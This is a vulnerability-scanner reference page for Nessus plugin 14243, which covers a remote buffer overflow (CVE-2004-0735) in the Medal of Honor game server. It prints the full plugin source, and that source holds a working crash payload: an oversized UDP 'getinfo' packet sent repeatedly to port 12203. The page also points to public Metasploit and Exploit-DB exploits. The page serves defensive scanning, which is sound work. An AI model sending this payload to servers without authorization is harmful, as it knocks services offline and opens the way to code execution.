Medal of Honor Multiple Remote Overflows - Nessus

Critical   Plugin ID: 14243

This page contains detailed information about the Medal of Honor Multiple Remote Overflows Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 14243
Name: Medal of Honor Multiple Remote Overflows
Filename: medalofhonor_bof.nasl
Vulnerability Published: 2004-07-17
This Plugin Published: 2004-08-10
Last Modification Time: 2018-11-15
Plugin Version: 1.16
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: None

Vulnerability Information


Severity: Critical
Vulnerability Published: 2004-07-17
Patch Published: N/A
CVE [?]: CVE-2004-0735
CPE [?]: N/A

Synopsis

The remote game server is affected by a buffer overflow issue.

Description

The remote host was running the Medal of Honor game server. The version installed on the remote host is vulnerable to a remote attack that allows for arbitrary code execution.

Note that Nessus has disabled this service in testing for this flaw.

Solution

EA has released a patch for this issue.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Medal of Honor Multiple Remote Overflows vulnerability:

  1. Metasploit: exploit/windows/games/mohaa_getinfo
    [Medal of Honor Allied Assault getinfo Stack Buffer Overflow]
  2. Exploit-DB: exploits/windows/remote/16695.rb
    [EDB-16695: Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

Go back to menu.

Plugin Source


This is the medalofhonor_bof.nasl nessus plugin source code. This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(14243);
 script_version("1.16");
 script_cvs_date("Date: 2018/11/15 20:50:22");

 script_cve_id("CVE-2004-0735");
 script_bugtraq_id(10743);

 script_name(english:"Medal of Honor Multiple Remote Overflows");
 script_summary(english:"Crashes the remote Medal of Honor Game Server");

 script_set_attribute(attribute:"synopsis", value:"The remote game server is affected by a buffer overflow issue.");
 script_set_attribute(attribute:"description", value:
"The remote host was running the Medal of Honor game server.  The
version installed on the remote host is vulnerable to a remote attack
that allows for arbitrary code execution. 

Note that Nessus has disabled this service in testing for this flaw.");
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=109008314631518&w=2");
 script_set_attribute(attribute:"solution", value:"EA has released a patch for this issue.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Medal of Honor Allied Assault getinfo Stack Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/17");
 script_set_attribute(attribute:"plugin_publication_date", value:"2004/08/10");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DESTRUCTIVE_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
 script_family(english:"Gain a shell remotely");
 exit(0);
}


include("audit.inc");

# start check

port = 12203;
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");

soc = open_sock_udp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

# exploit from http://www.securityfocus.com/bid/10743/

init = raw_string(0xFF,0xFF,0xFF,0xFF,0x02,0x67,0x65,0x74,0x69,0x6E,0x66,0x6F,0x20,0x78,0x78,0x78,0x0A);

blast = raw_string(
0xFF,0xFF,0xFF,0xFF,0x02,0x67,0x65,0x74,0x69,0x6E,0x66,0x6F,0x20,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
0x61,0xDE,0xC0,0xAD,0xDE,0x0A);


send(socket:soc, data:init);
r = recv(socket:soc, length:48);
if (! r) audit(AUDIT_RESP_NOT, port, 'a request', 'UDP', code:0);

for (i=0; i<10; i++)
{
  send (socket:soc, data:blast);
}
close(soc);

soc = open_sock_udp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

send(socket:soc, data:init);
r = recv(socket:soc, length:48);
if (! r) security_hole(port:port, proto:"udp");
else audit(AUDIT_HOST_NOT, 'affected');

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/medalofhonor_bof.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\medalofhonor_bof.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/medalofhonor_bof.nasl

Go back to menu.

How to Run


Here is how to run the Medal of Honor Multiple Remote Overflows as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Gain a shell remotely plugin family.
  6. On the right side table select Medal of Honor Multiple Remote Overflows plugin ID 14243.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl medalofhonor_bof.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a medalofhonor_bof.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - medalofhonor_bof.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state medalofhonor_bof.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 10292 - UoW imapd AUTHENTICATE Command Remote Overflow
  • 10374 - UoW imapd (UW-IMAP) Multiple Command Remote Overflows (2)
  • 10625 - UoW imapd (UW-IMAP) Multiple Command Remote Overflows
  • 10647 - Network Time Protocol Daemon (ntpd) readvar Variable Overflow RCE
  • 10659 - Solaris snmpXdmid Long Indication Event Overflow (ELVISCICADA)
  • 10684 - Solaris rpc.yppasswdd username Remote Overflow
  • 10827 - SysV /bin/login Environment Remote Overflow (telnet check)
  • 10828 - SysV /bin/login Environment Remote Overflow (rlogin)
  • 11136 - Multiple OS /bin/login Remote Overflow
  • 11168 - Samba Encrypted Password String Conversion Decryption Overflow
  • 11337 - Multiple Linux rpc.mountd Remote Overflow
  • 11523 - Samba < 2.2.8a / 3.0.0 Multiple Remote Overflows
  • 11540 - PoPToP PPTP ctrlpacket.c Negative Read Remote Overflow
  • 11642 - Helix Servers View Source Plug-in RTSP Parser Overflow
  • 11943 - rsync < 2.5.7 Unspecified Remote Heap Overflow
  • 12285 - Unreal Engine Secure Query Remote Overflow
  • 14361 - Netscape NSS Library SSLv2 Challenge Overflow
  • 15867 - Mercury Mail Remote IMAP Server Remote Overflow
  • 16232 - VERITAS Backup Exec Agent Browser Registration Request Remote Overflow
  • 16274 - ngIRCd < 0.8.2 Lists_MakeMask() Remote Overflow DoS
  • 17158 - Knox Arkeia Backup Client Type 77 Request Processing Buffer Remote Overflow
  • 17326 - Sentinel License Manager lservnt Service Remote Buffer Overflow
  • 18257 - BakBone NetVault < 7.1.2 / 7.3.1 Multiple Remote Overflows
  • 18403 - Hummingbird InetD LPD Component (Lpdw.exe) Data Overflow
  • 18524 - Novell ZENworks Multiple Remote Pre-Authentication Overflows
  • 19428 - Novell eDirectory Server iMonitor Multiple Remote Overflows
  • 20318 - Novell NetMail IMAP Agent Long Verb Arguments Remote Overflow
  • 20336 - Qualcomm WorldMail Multiple IMAP Command Remote Overflow
  • 20812 - Mercury Mail ph Server Remote Overflow
  • 21116 - MERCUR Messaging IMAP Service Multiple Command Remote Overflow
  • 21243 - Novell GroupWise Messenger Accept Language Remote Overflow
  • 21580 - freeSSHd Key Exchange Algorithm String Remote Overflow
  • 23736 - AT-TFTP Server Filename Handling Remote Overflow

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file medalofhonor_bof.nasl version 1.16. For more plugins, visit the Nessus Plugin Library.

Go back to menu.